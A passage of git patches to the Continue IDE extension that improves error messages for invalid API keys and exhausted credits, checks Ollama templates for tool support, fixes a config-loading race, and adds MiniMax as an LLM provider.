requiresSkPrefix = + selectedProvider.provider === "openai" || + selectedProvider.provider === "anthropic"; + + const apiKeyValue = formMethods.watch("apiKey"); + const apiKeyWarning = + requiresSkPrefix && + apiKeyValue && + apiKeyValue.length > 0 && + !apiKeyValue.startsWith("sk-") + ? "API key usually starts with sk-" + : undefined; + function onSubmit() { const apiKey = formMethods.watch("apiKey"); const hasValidApiKey = apiKey !== undefined && apiKey !== ""; @@ -231,11 +244,18 @@ export function AddModelForm({ + {apiKeyWarning && ( + + {apiKeyWarning} + + )} -

You're out of credits!

+

+ You have no credits remaining on your Continue account +

diff --git a/gui/src/pages/gui/StreamError.tsx b/gui/src/pages/gui/StreamError.tsx index 520d95a42..6717a623a 100644 --- a/gui/src/pages/gui/StreamError.tsx +++ b/gui/src/pages/gui/StreamError.tsx @@ -5,12 +5,10 @@ import { Cog6ToothIcon, KeyIcon, } from "@heroicons/react/24/outline"; -import { DISCUSSIONS_LINK } from "core/util/constants"; import { useContext, useMemo } from "react"; import { GhostButton, SecondaryButton } from "../../components"; import { useEditModel } from "../../components/mainInput/Lump/useEditBlock"; import { useMainEditor } from "../../components/mainInput/TipTapEditor"; -import { GithubIcon } from "../../components/svg/GithubIcon"; import ToggleDiv from "../../components/ToggleDiv"; import { useAuth } from "../../context/Auth"; import { IdeMessengerContext } from "../../context/IdeMessenger"; @@ -42,6 +40,8 @@ const StreamErrorDialog = ({ error }: StreamErrorProps) => { modelTitle, providerName, apiKeyUrl, + helpUrl, + customErrorMessage, } = useMemo(() => analyzeError(error, selectedModel), [error, selectedModel]); const handleRefreshProfiles = () => { @@ -62,7 +62,7 @@ const StreamErrorDialog = ({ error }: StreamErrorProps) => { onClick={() => ideMessenger.ide.openUrl(apiKeyUrl)} > - View key + Check API key ) : null; @@ -120,7 +120,12 @@ const StreamErrorDialog = ({ error }: StreamErrorProps) => { ); - if (parsedError.includes("You're out of credits!")) { + if ( + parsedError.includes( + "You have no credits remaining on your Continue account", + ) || + parsedError.includes("You're out of credits!") + ) { return ; } @@ -131,10 +136,7 @@ const StreamErrorDialog = ({ error }: StreamErrorProps) => { There was an error handling the response from{" "} {selectedModel?.title || "the model"}.

-

- Please try to submit your message again, and if the error persists, - let us know by reporting the issue using the buttons below. -

+

Please try to submit your message again.

{resubmitButton}
@@ -232,7 +234,36 @@ const StreamErrorDialog = ({ error }: StreamErrorProps) => { {selectedModel.underlyingProviderName} ) : null} - {/* TODO: status page links for providers? */} +
+ ); + } + + // Custom error message from error analysis (e.g. invalid API key, insufficient balance) + if (customErrorMessage) { + errorContent = ( +
+ {customErrorMessage} +
+ {helpUrl && ( + ideMessenger.ide.openUrl(helpUrl)} + > + + View help documentation + + )} + {apiKeyUrl && ( + ideMessenger.ide.openUrl(apiKeyUrl)} + > + + Check API key + + )} + {configButton} +
); } @@ -282,46 +313,6 @@ const StreamErrorDialog = ({ error }: StreamErrorProps) => { )} - -
- Report this error -
- { - const issueTitle = `Error: ${selectedModel?.title || "Model"} - ${statusCode || "Unknown error"}`; - const issueBody = `**Error Details** - -Model: ${selectedModel?.title || "Unknown"} -Provider: ${selectedModel ? `${selectedModel.underlyingProviderName}${selectedModel.provider === "continue-proxy" ? " (continue-proxy)" : ""}` : "Unknown"} -Status Code: ${statusCode || "N/A"} - -**Error Output** -\`\`\` -${parsedError} -\`\`\` - -**Additional Context** -Please add any additional context about the error here -`; - const url = `https://github.com/continuedev/continue/issues/new?title=${encodeURIComponent(issueTitle)}&body=${encodeURIComponent(issueBody)}`; - ideMessenger.post("openUrl", url); - }} - > - - Open GitHub issue - - { - ideMessenger.post("openUrl", DISCUSSIONS_LINK); - }} - > - - Discussions - -
-
); }; diff --git a/gui/src/redux/thunks/streamThunkWrapper.tsx b/gui/src/redux/thunks/streamThunkWrapper.tsx index 2cf303065..2680b58bb 100644 --- a/gui/src/redux/thunks/streamThunkWrapper.tsx +++ b/gui/src/redux/thunks/streamThunkWrapper.tsx @@ -8,63 +8,41 @@ import { ThunkApiType } from "../store"; import { cancelStream } from "./cancelStream"; import { saveCurrentSession } from "./session"; -const OVERLOADED_RETRIES = 3; -const OVERLOADED_DELAY_MS = 1000; - -function isOverloadedErrorMessage(message?: string | null): boolean { - if (!message) return false; - const lower = message.toLowerCase(); - return lower.includes("overloaded") || lower.includes("malformed json"); -} - export const streamThunkWrapper = createAsyncThunk< void, () => Promise, ThunkApiType >("chat/streamWrapper", async (runStream, { dispatch, getState }) => { - for (let attempt = 0; attempt <= OVERLOADED_RETRIES; attempt++) { - try { - await runStream(); - const state = getState(); - if (!state.session.isInEdit) { - await dispatch( - saveCurrentSession({ - openNewSession: false, - generateTitle: true, - }), - ); - } - return; - } catch (e) { - // Get the selected model from the state for error analysis - const state = getState(); - const selectedModel = selectSelectedChatModel(state); - const { parsedError, statusCode, message, modelTitle, providerName } = - analyzeError(e, selectedModel); - - const shouldRetry = - isOverloadedErrorMessage(message) && attempt < OVERLOADED_RETRIES; - - if (shouldRetry) { - await dispatch(cancelStream()); - const delayMs = OVERLOADED_DELAY_MS * 2 ** attempt; - await new Promise((resolve) => setTimeout(resolve, delayMs)); - await dispatch(cancelStream()); - } else { - await dispatch(cancelStream()); - dispatch(setDialogMessage()); - dispatch(setShowDialog(true)); - - const errorData = { - error_type: statusCode ? `HTTP ${statusCode}` : "Unknown", - error_message: parsedError, - model_provider: providerName, - model_title: modelTitle, - }; - - posthog.capture("gui_stream_error", errorData); - return; - } + try { + await runStream(); + const state = getState(); + if (!state.session.isInEdit) { + await dispatch( + saveCurrentSession({ + openNewSession: false, + generateTitle: true, + }), + ); } + } catch (e) { + const state = getState(); + const selectedModel = selectSelectedChatModel(state); + const { parsedError, statusCode, modelTitle, providerName } = analyzeError( + e, + selectedModel, + ); + + await dispatch(cancelStream()); + dispatch(setDialogMessage()); + dispatch(setShowDialog(true)); + + const errorData = { + error_type: statusCode ? `HTTP ${statusCode}` : "Unknown", + error_message: parsedError, + model_provider: providerName, + model_title: modelTitle, + }; + + posthog.capture("gui_stream_error", errorData); } }); diff --git a/gui/src/util/errorAnalysis.test.ts b/gui/src/util/errorAnalysis.test.ts index c4c7afab4..7ac1678fe 100644 --- a/gui/src/util/errorAnalysis.test.ts +++ b/gui/src/util/errorAnalysis.test.ts @@ -531,5 +531,106 @@ describe("errorAnalysis", () => { expect(result.statusCode).toBe(undefined); }); }); + + describe("custom error detection", () => { + it("should detect OpenAI organization verification error", () => { + const error = new Error( + "OpenAI error: organization must be verified to generate reasoning summaries", + ); + const result = analyzeError(error, null); + + expect(result.helpUrl).toBe( + "https://help.openai.com/en/articles/10910291-api-organization-verification", + ); + expect(result.customErrorMessage).toContain( + "organization must be verified", + ); + }); + + it("should detect OpenAI org verification error case-insensitively", () => { + const error = new Error( + "OPENAI: Organization Must Be Verified To Generate Reasoning Summaries", + ); + const result = analyzeError(error, null); + + expect(result.helpUrl).toBe( + "https://help.openai.com/en/articles/10910291-api-organization-verification", + ); + }); + + it("should not detect org verification for partial matches", () => { + const error = new Error("organization must be verified"); + const result = analyzeError(error, null); + + // Should not match without "openai" + expect(result.helpUrl).toBeUndefined(); + }); + + it("should detect 'Incorrect API key provided' error", () => { + const error = new Error( + '401 Unauthorized\n\n{"error": {"message": "Incorrect API key provided"}}', + ); + const result = analyzeError(error, null); + + expect(result.customErrorMessage).toContain( + "API key is actually invalid", + ); + }); + + it("should detect 'Invalid API Key' error", () => { + const error = new Error("Invalid API Key"); + const result = analyzeError(error, null); + + expect(result.customErrorMessage).toContain( + "API key is actually invalid", + ); + }); + + it("should detect 'invalid x-api-key' error", () => { + const error = new Error("invalid x-api-key"); + const result = analyzeError(error, null); + + expect(result.customErrorMessage).toContain( + "API key is actually invalid", + ); + }); + + it("should detect failed secret templating in API key", () => { + const error = new Error("Invalid API Key"); + const selectedModel = { + title: "GPT-4", + underlyingProviderName: "openai", + apiKey: "secrets.OPENAI_API_KEY", + }; + const result = analyzeError(error, selectedModel); + + expect(result.customErrorMessage).toContain("API key secret not found"); + }); + + it("should detect 402 Insufficient Balance error", () => { + const error = new Error("402 Payment Required"); + const selectedModel = { + title: "DeepSeek Chat", + underlyingProviderName: "deepseek", + }; + const result = analyzeError(error, selectedModel); + + expect(result.customErrorMessage).toContain("out of credits"); + expect(result.customErrorMessage).toContain("DeepSeek"); + }); + + it("should detect Insufficient Balance in error message", () => { + const error = new Error( + '400 Bad Request\n\n{"error": {"message": "Insufficient Balance"}}', + ); + const selectedModel = { + title: "DeepSeek Chat", + underlyingProviderName: "deepseek", + }; + const result = analyzeError(error, selectedModel); + + expect(result.customErrorMessage).toContain("out of credits"); + }); + }); }); }); diff --git a/gui/src/util/errorAnalysis.ts b/gui/src/util/errorAnalysis.ts index 17a37dca5..b022a5d1d 100644 --- a/gui/src/util/errorAnalysis.ts +++ b/gui/src/util/errorAnalysis.ts @@ -7,6 +7,8 @@ export interface ErrorAnalysis { modelTitle: string; providerName: string; apiKeyUrl?: string; + helpUrl?: string; + customErrorMessage?: string; } function parseErrorMessage(fullErrMsg: string): string { @@ -97,6 +99,51 @@ export function analyzeError( } } + let helpUrl: string | undefined = undefined; + let customErrorMessage: string | undefined = undefined; + + const lowerMessage = (message ?? "").toLowerCase(); + const lowerParsedError = parsedError.toLowerCase(); + const errorText = lowerMessage + " " + lowerParsedError; + + // OpenAI organization verification error + if ( + errorText.includes("openai") && + errorText.includes( + "organization must be verified to generate reasoning summaries", + ) + ) { + helpUrl = + "https://help.openai.com/en/articles/10910291-api-organization-verification"; + customErrorMessage = + "Your OpenAI organization must be verified to use reasoning models. Visit the help page to learn how to verify your organization."; + } + + // Invalid API key detection + if ( + errorText.includes("incorrect api key provided") || + errorText.includes("invalid api key") || + errorText.includes("invalid x-api-key") + ) { + customErrorMessage = + "This error usually happens when the API key is actually invalid. Check your API key value or try a new one."; + + // Check if the key contains "secrets." indicating failed secret templating + if ( + selectedModel?.apiKey && + String(selectedModel.apiKey).includes("secrets.") + ) { + customErrorMessage = + "API key secret not found. Add the apiKey to your secrets or set it directly in your config."; + } + } + + // 402 Insufficient Balance + if (statusCode === 402 || errorText.includes("insufficient balance")) { + const providerLabel = providerName || "your provider"; + customErrorMessage = `Your ${providerLabel} account appears to be out of credits. Add more credits to your account to continue using this model.`; + } + return { parsedError, statusCode, @@ -104,5 +151,7 @@ export function analyzeError( modelTitle, providerName, apiKeyUrl, + helpUrl, + customErrorMessage, }; } From ced1e3c86bde55bb2e639f392e005aa25dccab3e Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Tue, 24 Mar 2026 12:45:42 -0700 Subject: [PATCH 41/66] fix(ollama): check model template for tool support via /api/show (#11670) fix(ollama): check model template for tool support before sending tools Ollama models only support tool calling if their template includes .Tools. The heuristic in toolSupport.ts was too broad, causing 400 errors for models whose templates lack tool support. Two changes: - Query /api/show template for .Tools (same pattern as existing .Suffix FIM check) and skip sending tools when the template says no - Exclude Ollama cloud models (:cloud tag) in the heuristic, since cloud tool calling is unreliable Fixes #9639 #9646 #9875 #10304 #10461 #10539 #10561 #10593 #10640 Fixes #10672 #10833 #10876 #11308 #11382 #11402 --- core/llm/llms/Ollama.ts | 14 ++++++++++++-- core/llm/toolSupport.ts | 21 +++++++++++++++++++++ 2 files changed, 33 insertions(+), 2 deletions(-) diff --git a/core/llm/llms/Ollama.ts b/core/llm/llms/Ollama.ts index d2d8660b6..5f0646777 100644 --- a/core/llm/llms/Ollama.ts +++ b/core/llm/llms/Ollama.ts @@ -161,6 +161,7 @@ class Ollama extends BaseLLM implements ModelInstaller { private static modelsBeingInstalledMutex = new Mutex(); private fimSupported: boolean = false; + private templateSupportsTools: boolean | undefined = undefined; constructor(options: LLMOptions) { super(options); @@ -227,6 +228,11 @@ class Ollama extends BaseLLM implements ModelInstaller { * it's a good indication the model supports FIM. */ this.fimSupported = !!body?.template?.includes(".Suffix"); + + // Check if model template supports tool calling (same pattern as .Suffix above) + if (body?.template) { + this.templateSupportsTools = body.template.includes(".Tools"); + } }) .catch((e) => { // console.warn("Error calling the Ollama /api/show endpoint: ", e); @@ -424,8 +430,12 @@ class Ollama extends BaseLLM implements ModelInstaller { stream: options.stream, // format: options.format, // Not currently in base completion options }; - // This logic is because tools can ONLY be included with user message for ollama - if (options.tools?.length && ollamaMessages.at(-1)?.role === "user") { + // Only include tools with user messages, and only if the template supports them + if ( + options.tools?.length && + ollamaMessages.at(-1)?.role === "user" && + this.templateSupportsTools !== false + ) { chatOptions.tools = options.tools.map((tool) => ({ type: "function", function: { diff --git a/core/llm/toolSupport.ts b/core/llm/toolSupport.ts index 099424c61..a80fea628 100644 --- a/core/llm/toolSupport.ts +++ b/core/llm/toolSupport.ts @@ -155,6 +155,27 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> = modelName = model; } + // Some Ollama cloud models don't support tools despite matching the + // family-name heuristic below (https://ollama.com/search?c=cloud) + if (modelName.toLowerCase().includes(":cloud")) { + if ( + [ + "cogito-2.1", + "deepseek-v3.2", + "gemini-3-flash-preview", + "glm-4.6", + "glm-4.7", + "glm-5", + "kimi-k2.5", + "minimax-m2", + "minimax-m2.5", + "minimax-m2.7", + ].some((part) => modelName.toLowerCase().startsWith(part)) + ) { + return false; + } + } + if ( ["vision", "math", "guard", "mistrallite", "mistral-openorca"].some( (part) => modelName.toLowerCase().includes(part), From 92c4d1981376fd6e459e96159f6a5d3c2b95d69f Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Tue, 24 Mar 2026 13:05:10 -0700 Subject: [PATCH 42/66] fix: "No chat model selected" error on startup (#11672) * fix: resolve "No chat model selected" error and GUI/core model mismatch Three fixes for the model selection bugs reported in #11656 and 12+ related issues: 1. Fix loadConfig() init ordering: await isInitialized before checking currentProfile, consistent with getSerializedConfig(). Prevents returning config: undefined during initialization race. 2. Avoid full config reload on model selection: The config/updateSelectedModel handler now updates the model in the cached config in-place instead of doing a full reloadConfig(). This eliminates the window where selectedModelByRole.chat is null during reload, and prevents the configUpdate from core overwriting the GUI's optimistic selection. 3. Guard against undefined config in GUI: handleConfigUpdate now also checks !configResult.config alongside configLoadInterrupted, preventing EMPTY_CONFIG (with chat: null) from being applied. * fix: resolve "No chat model selected" error on startup Two fixes for the "No chat model selected" error reported in #11656 and 12+ related issues across all providers: 1. Fix loadConfig() init ordering (ConfigHandler.ts): Move `await this.isInitialized` before the `!this.currentProfile` check, matching the pattern already used in getSerializedConfig(). Without this, loadConfig() called during initialization returns config: undefined because currentProfile hasn't been set yet. 2. Guard against undefined config in GUI (ParallelListeners.tsx): handleConfigUpdate now also checks `!configResult.config` alongside configLoadInterrupted, preventing EMPTY_CONFIG (with selectedModelByRole.chat: null) from being applied. * fix: provide valid mock config to fix GUI test failures The added `!configResult.config` guard in ParallelListeners caused tests to bail early since MockIdeMessenger returned `config: undefined`. --- core/config/ConfigHandler.ts | 2 +- gui/src/context/MockIdeMessenger.ts | 29 ++++++++++++++++++++++++++++- gui/src/hooks/ParallelListeners.tsx | 2 +- 3 files changed, 30 insertions(+), 3 deletions(-) diff --git a/core/config/ConfigHandler.ts b/core/config/ConfigHandler.ts index bd934777b..336c4b40b 100644 --- a/core/config/ConfigHandler.ts +++ b/core/config/ConfigHandler.ts @@ -606,6 +606,7 @@ export class ConfigHandler { } async loadConfig(): Promise> { + await this.isInitialized; if (!this.currentProfile) { return { config: undefined, @@ -613,7 +614,6 @@ export class ConfigHandler { configLoadInterrupted: true, }; } - await this.isInitialized; const config = await this.currentProfile.loadConfig( this.additionalContextProviders, ); diff --git a/gui/src/context/MockIdeMessenger.ts b/gui/src/context/MockIdeMessenger.ts index e7f78252d..58f6cc905 100644 --- a/gui/src/context/MockIdeMessenger.ts +++ b/gui/src/context/MockIdeMessenger.ts @@ -81,7 +81,34 @@ const DEFAULT_MOCK_CORE_RESPONSES: MockResponses = { ], profileId: "local", result: { - config: undefined, + config: { + tools: [], + slashCommands: [], + contextProviders: [], + mcpServerStatuses: [], + usePlatform: true, + modelsByRole: { + chat: [], + apply: [], + edit: [], + summarize: [], + autocomplete: [], + rerank: [], + embed: [], + subagent: [], + }, + selectedModelByRole: { + chat: null, + apply: null, + edit: null, + summarize: null, + autocomplete: null, + rerank: null, + embed: null, + subagent: null, + }, + rules: [], + }, errors: [], configLoadInterrupted: false, }, diff --git a/gui/src/hooks/ParallelListeners.tsx b/gui/src/hooks/ParallelListeners.tsx index e8cb96a95..2d50c702e 100644 --- a/gui/src/hooks/ParallelListeners.tsx +++ b/gui/src/hooks/ParallelListeners.tsx @@ -64,7 +64,7 @@ function ParallelListeners() { if (isInitial && hasDoneInitialConfigLoad.current) { return; } - if (configResult.configLoadInterrupted) { + if (configResult.configLoadInterrupted || !configResult.config) { return; } hasDoneInitialConfigLoad.current = true; From 4714bae00a73991be6e631e6061b8754112f6d58 Mon Sep 17 00:00:00 2001 From: Octopus Date: Tue, 24 Mar 2026 15:06:19 -0500 Subject: [PATCH 43/66] feat: add MiniMax as a new LLM provider with M2.7 default (#11367) * feat: add MiniMax as a new LLM provider Add MiniMax (https://platform.minimax.io) as a new LLM provider with OpenAI-compatible API support. Changes: - Add MiniMax LLM provider class extending OpenAI with temperature clamping (must be in (0, 1]) and response_format removal - Register provider in LLMClasses, openai-adapters, and config-types - Add model info for MiniMax-M2.5 and MiniMax-M2.5-highspeed (204K context, 192K max output) - Add GUI model selection entries and provider configuration - Add provider documentation page * fix: use dedicated MiniMaxApi adapter instead of generic OpenAIApi The minimax provider was wired to the generic OpenAIApi via openAICompatible(), which skips MiniMax-specific request fixes. This creates a dedicated MiniMaxApi adapter class that overrides modifyChatBody to apply temperature clamping (MiniMax requires temperature in (0.0, 1.0]) and response_format removal, matching the adaptations already present in core/llm/llms/MiniMax.ts. Co-Authored-By: Claude Opus 4.6 * feat: upgrade MiniMax default model to M2.7 - Add MiniMax-M2.7 and MiniMax-M2.7-highspeed to model list - Set MiniMax-M2.7 as default model - Keep all previous models (M2.5, M2.5-highspeed) as alternatives - Update docs and GUI model selection * fix: add minimax to PROVIDER_HANDLES_TEMPLATING and PARALLEL_PROVIDERS MiniMax uses an OpenAI-compatible chat completions API, so it handles templating natively. MiniMax also supports parallel tool calls. Not added to PROVIDER_SUPPORTS_IMAGES since MiniMax M2.7 is text-only. * style: fix prettier formatting in MiniMax provider files --------- Co-authored-by: PR Bot Co-authored-by: octo-patch Co-authored-by: Claude Opus 4.6 Co-authored-by: Dallin Romney --- core/llm/autodetect.ts | 2 + core/llm/llms/MiniMax.ts | 37 +++++++++++++ core/llm/llms/index.ts | 2 + .../model-providers/more/minimax.mdx | 55 +++++++++++++++++++ docs/customize/model-providers/overview.mdx | 1 + gui/src/pages/AddNewModel/configs/models.ts | 48 ++++++++++++++++ .../pages/AddNewModel/configs/providers.ts | 32 +++++++++++ packages/config-types/src/index.ts | 1 + packages/llm-info/src/index.ts | 2 + packages/llm-info/src/providers/minimax.ts | 47 ++++++++++++++++ packages/openai-adapters/src/apis/MiniMax.ts | 35 ++++++++++++ packages/openai-adapters/src/index.ts | 3 + packages/openai-adapters/src/types.ts | 6 ++ 13 files changed, 271 insertions(+) create mode 100644 core/llm/llms/MiniMax.ts create mode 100644 docs/customize/model-providers/more/minimax.mdx create mode 100644 packages/llm-info/src/providers/minimax.ts create mode 100644 packages/openai-adapters/src/apis/MiniMax.ts diff --git a/core/llm/autodetect.ts b/core/llm/autodetect.ts index 15707209a..d401ad5a0 100644 --- a/core/llm/autodetect.ts +++ b/core/llm/autodetect.ts @@ -67,6 +67,7 @@ const PROVIDER_HANDLES_TEMPLATING: string[] = [ "openrouter", "deepseek", "xAI", + "minimax", "groq", "gemini", "docker", @@ -250,6 +251,7 @@ const PARALLEL_PROVIDERS: string[] = [ "vertexai", "function-network", "scaleway", + "minimax", "tensorix", ]; diff --git a/core/llm/llms/MiniMax.ts b/core/llm/llms/MiniMax.ts new file mode 100644 index 000000000..5892b444d --- /dev/null +++ b/core/llm/llms/MiniMax.ts @@ -0,0 +1,37 @@ +import { ChatMessage, CompletionOptions, LLMOptions } from "../../index.js"; + +import OpenAI from "./OpenAI.js"; + +class MiniMax extends OpenAI { + static providerName = "minimax"; + static defaultOptions: Partial = { + apiBase: "https://api.minimax.io/v1/", + model: "MiniMax-M2.7", + useLegacyCompletionsEndpoint: false, + }; + + protected _convertArgs(options: CompletionOptions, messages: ChatMessage[]) { + const finalOptions = super._convertArgs(options, messages); + + // MiniMax requires temperature in (0.0, 1.0] — zero is rejected + if ( + finalOptions.temperature !== undefined && + finalOptions.temperature !== null + ) { + if (finalOptions.temperature <= 0) { + finalOptions.temperature = 0.01; + } else if (finalOptions.temperature > 1) { + finalOptions.temperature = 1.0; + } + } + + // MiniMax does not support response_format + if ((finalOptions as any).response_format) { + delete (finalOptions as any).response_format; + } + + return finalOptions; + } +} + +export default MiniMax; diff --git a/core/llm/llms/index.ts b/core/llm/llms/index.ts index ebf9b7cf4..8b48d4c51 100644 --- a/core/llm/llms/index.ts +++ b/core/llm/llms/index.ts @@ -38,6 +38,7 @@ import Lemonade from "./Lemonade"; import LMStudio from "./LMStudio"; import Mistral from "./Mistral"; import Mimo from "./Mimo"; +import MiniMax from "./MiniMax"; import MockLLM from "./Mock"; import Moonshot from "./Moonshot"; import Msty from "./Msty"; @@ -93,6 +94,7 @@ export const LLMClasses = [ LMStudio, Mistral, Mimo, + MiniMax, Bedrock, BedrockImport, SageMaker, diff --git a/docs/customize/model-providers/more/minimax.mdx b/docs/customize/model-providers/more/minimax.mdx new file mode 100644 index 000000000..e0a56e2cf --- /dev/null +++ b/docs/customize/model-providers/more/minimax.mdx @@ -0,0 +1,55 @@ +--- +title: "How to Configure MiniMax with Continue" +sidebarTitle: "MiniMax" +--- + + + Get your API key from the [MiniMax Platform](https://platform.minimax.io) + + +## Configuration + + + + ```yaml title="config.yaml" + name: My Config + version: 0.0.1 + schema: v1 + + models: + - name: MiniMax M2.7 + provider: minimax + model: MiniMax-M2.7 + apiKey: + ``` + + + ```json title="config.json" + { + "models": [ + { + "title": "MiniMax M2.7", + "provider": "minimax", + "model": "MiniMax-M2.7", + "apiKey": "" + } + ] + } + ``` + + + +## Available Models + +| Model | Description | +| :---- | :---------- | +| `MiniMax-M2.7` | Latest flagship model with enhanced reasoning and coding. 204K context window. | +| `MiniMax-M2.7-highspeed` | High-speed version of M2.7 for low-latency scenarios. 204K context window. | +| `MiniMax-M2.5` | Peak performance with ultimate value. 204K context window. | +| `MiniMax-M2.5-highspeed` | Same performance, faster and more agile. 204K context window. | + +## Notes + +- MiniMax uses an OpenAI-compatible API at `https://api.minimax.io/v1` +- Set the `MINIMAX_API_KEY` environment variable or configure `apiKey` in your config +- For users in China, set `apiBase` to `https://api.minimaxi.com/v1/` diff --git a/docs/customize/model-providers/overview.mdx b/docs/customize/model-providers/overview.mdx index 4bbf1c0dc..fcd99be66 100644 --- a/docs/customize/model-providers/overview.mdx +++ b/docs/customize/model-providers/overview.mdx @@ -38,6 +38,7 @@ Beyond the top-level providers, Continue supports many other options: | [Cohere](/customize/model-providers/more/cohere) | Models specialized for semantic search and text generation | | [NVIDIA](/customize/model-providers/more/nvidia) | GPU-accelerated model hosting | | [Cloudflare](/customize/model-providers/more/cloudflare) | Edge-based AI inference services | +| [MiniMax](/customize/model-providers/more/minimax) | High-performance models with 200K+ context window | ### Local Model Options diff --git a/gui/src/pages/AddNewModel/configs/models.ts b/gui/src/pages/AddNewModel/configs/models.ts index d15db3f3d..594a43ff5 100644 --- a/gui/src/pages/AddNewModel/configs/models.ts +++ b/gui/src/pages/AddNewModel/configs/models.ts @@ -2688,6 +2688,54 @@ export const models: { [key: string]: ModelPackage } = { providerOptions: ["sambanova"], isOpenSource: true, }, + minimaxM27: { + title: "MiniMax M2.7", + description: + "Latest flagship model with enhanced reasoning and coding capabilities. 204K context window.", + params: { + title: "MiniMax M2.7", + model: "MiniMax-M2.7", + contextLength: 204_800, + }, + providerOptions: ["minimax"], + isOpenSource: false, + }, + minimaxM27Highspeed: { + title: "MiniMax M2.7 Highspeed", + description: + "High-speed version of M2.7 for low-latency scenarios. 204K context window.", + params: { + title: "MiniMax M2.7 Highspeed", + model: "MiniMax-M2.7-highspeed", + contextLength: 204_800, + }, + providerOptions: ["minimax"], + isOpenSource: false, + }, + minimaxM25: { + title: "MiniMax M2.5", + description: + "Peak performance with ultimate value. Excels at complex reasoning, code generation, and multi-step tasks with a 204K context window.", + params: { + title: "MiniMax M2.5", + model: "MiniMax-M2.5", + contextLength: 204_800, + }, + providerOptions: ["minimax"], + isOpenSource: false, + }, + minimaxM25Highspeed: { + title: "MiniMax M2.5 Highspeed", + description: + "Same performance as M2.5, faster and more agile for latency-sensitive tasks with a 204K context window.", + params: { + title: "MiniMax M2.5 Highspeed", + model: "MiniMax-M2.5-highspeed", + contextLength: 204_800, + }, + providerOptions: ["minimax"], + isOpenSource: false, + }, AUTODETECT: { title: "Autodetect", description: diff --git a/gui/src/pages/AddNewModel/configs/providers.ts b/gui/src/pages/AddNewModel/configs/providers.ts index 1b1178d9d..ce78d9a8d 100644 --- a/gui/src/pages/AddNewModel/configs/providers.ts +++ b/gui/src/pages/AddNewModel/configs/providers.ts @@ -579,6 +579,38 @@ Select the \`GPT-4o\` model below to complete your provider configuration, but n ], apiKeyUrl: "https://console.groq.com/keys", }, + minimax: { + title: "MiniMax", + provider: "minimax", + description: + "MiniMax offers high-performance models with 200K+ context windows at competitive pricing.", + longDescription: + "To get started with MiniMax, obtain an API key from the [MiniMax Platform](https://platform.minimax.io).", + tags: [ModelProviderTags.RequiresApiKey], + collectInputFor: [ + { + inputType: "text", + key: "apiKey", + label: "API Key", + placeholder: "Enter your MiniMax API key", + required: true, + }, + ], + packages: [ + models.minimaxM27, + models.minimaxM27Highspeed, + models.minimaxM25, + models.minimaxM25Highspeed, + { + ...models.AUTODETECT, + params: { + ...models.AUTODETECT.params, + title: "MiniMax", + }, + }, + ], + apiKeyUrl: "https://platform.minimax.io", + }, deepseek: { title: "DeepSeek", provider: "deepseek", diff --git a/packages/config-types/src/index.ts b/packages/config-types/src/index.ts index a22bb00bb..8561500e6 100644 --- a/packages/config-types/src/index.ts +++ b/packages/config-types/src/index.ts @@ -61,6 +61,7 @@ export const modelDescriptionSchema = z.object({ "nebius", "scaleway", "watsonx", + "minimax", ]), model: z.string(), apiKey: z.string().optional(), diff --git a/packages/llm-info/src/index.ts b/packages/llm-info/src/index.ts index 52ca9f211..066b39c0c 100644 --- a/packages/llm-info/src/index.ts +++ b/packages/llm-info/src/index.ts @@ -4,6 +4,7 @@ import { Bedrock } from "./providers/bedrock.js"; import { Cohere } from "./providers/cohere.js"; import { CometAPI } from "./providers/cometapi.js"; import { Gemini } from "./providers/gemini.js"; +import { MiniMax } from "./providers/minimax.js"; import { Mistral } from "./providers/mistral.js"; import { Ollama } from "./providers/ollama.js"; import { OpenAi } from "./providers/openai.js"; @@ -25,6 +26,7 @@ export const allModelProviders: ModelProvider[] = [ Bedrock, Cohere, CometAPI, + MiniMax, xAI, zAI, ]; diff --git a/packages/llm-info/src/providers/minimax.ts b/packages/llm-info/src/providers/minimax.ts new file mode 100644 index 000000000..7899f2b0a --- /dev/null +++ b/packages/llm-info/src/providers/minimax.ts @@ -0,0 +1,47 @@ +import { ModelProvider } from "../types.js"; + +export const MiniMax: ModelProvider = { + models: [ + { + model: "MiniMax-M2.7", + displayName: "MiniMax M2.7", + contextLength: 204800, + maxCompletionTokens: 192000, + description: + "Latest flagship model with enhanced reasoning and coding capabilities.", + regex: /MiniMax-M2\.7$/i, + recommendedFor: ["chat"], + }, + { + model: "MiniMax-M2.7-highspeed", + displayName: "MiniMax M2.7 Highspeed", + contextLength: 204800, + maxCompletionTokens: 192000, + description: "High-speed version of M2.7 for low-latency scenarios.", + regex: /MiniMax-M2\.7-highspeed/i, + recommendedFor: ["chat"], + }, + { + model: "MiniMax-M2.5", + displayName: "MiniMax M2.5", + contextLength: 204800, + maxCompletionTokens: 192000, + description: + "Peak performance with ultimate value. Excels at complex reasoning, code generation, and multi-step tasks.", + regex: /MiniMax-M2\.5$/i, + recommendedFor: ["chat"], + }, + { + model: "MiniMax-M2.5-highspeed", + displayName: "MiniMax M2.5 Highspeed", + contextLength: 204800, + maxCompletionTokens: 192000, + description: + "Same performance as M2.5, faster and more agile for latency-sensitive tasks.", + regex: /MiniMax-M2\.5-highspeed/i, + recommendedFor: ["chat"], + }, + ], + id: "minimax", + displayName: "MiniMax", +}; diff --git a/packages/openai-adapters/src/apis/MiniMax.ts b/packages/openai-adapters/src/apis/MiniMax.ts new file mode 100644 index 000000000..4ed347cbc --- /dev/null +++ b/packages/openai-adapters/src/apis/MiniMax.ts @@ -0,0 +1,35 @@ +import { ChatCompletionCreateParams } from "openai/resources/index"; +import { MiniMaxConfig } from "../types.js"; +import { OpenAIApi } from "./OpenAI.js"; + +export const MINIMAX_API_BASE = "https://api.minimax.io/v1/"; + +export class MiniMaxApi extends OpenAIApi { + constructor(config: MiniMaxConfig) { + super({ + ...config, + provider: "openai", + apiBase: config.apiBase ?? MINIMAX_API_BASE, + }); + } + + modifyChatBody(body: T): T { + body = super.modifyChatBody(body); + + // MiniMax requires temperature in (0.0, 1.0] — zero is rejected + if (body.temperature !== undefined && body.temperature !== null) { + if (body.temperature <= 0) { + body.temperature = 0.01; + } else if (body.temperature > 1) { + body.temperature = 1.0; + } + } + + // MiniMax does not support response_format + if ((body as any).response_format) { + delete (body as any).response_format; + } + + return body; + } +} diff --git a/packages/openai-adapters/src/index.ts b/packages/openai-adapters/src/index.ts index 9e63cf3d2..43af4e81b 100644 --- a/packages/openai-adapters/src/index.ts +++ b/packages/openai-adapters/src/index.ts @@ -13,6 +13,7 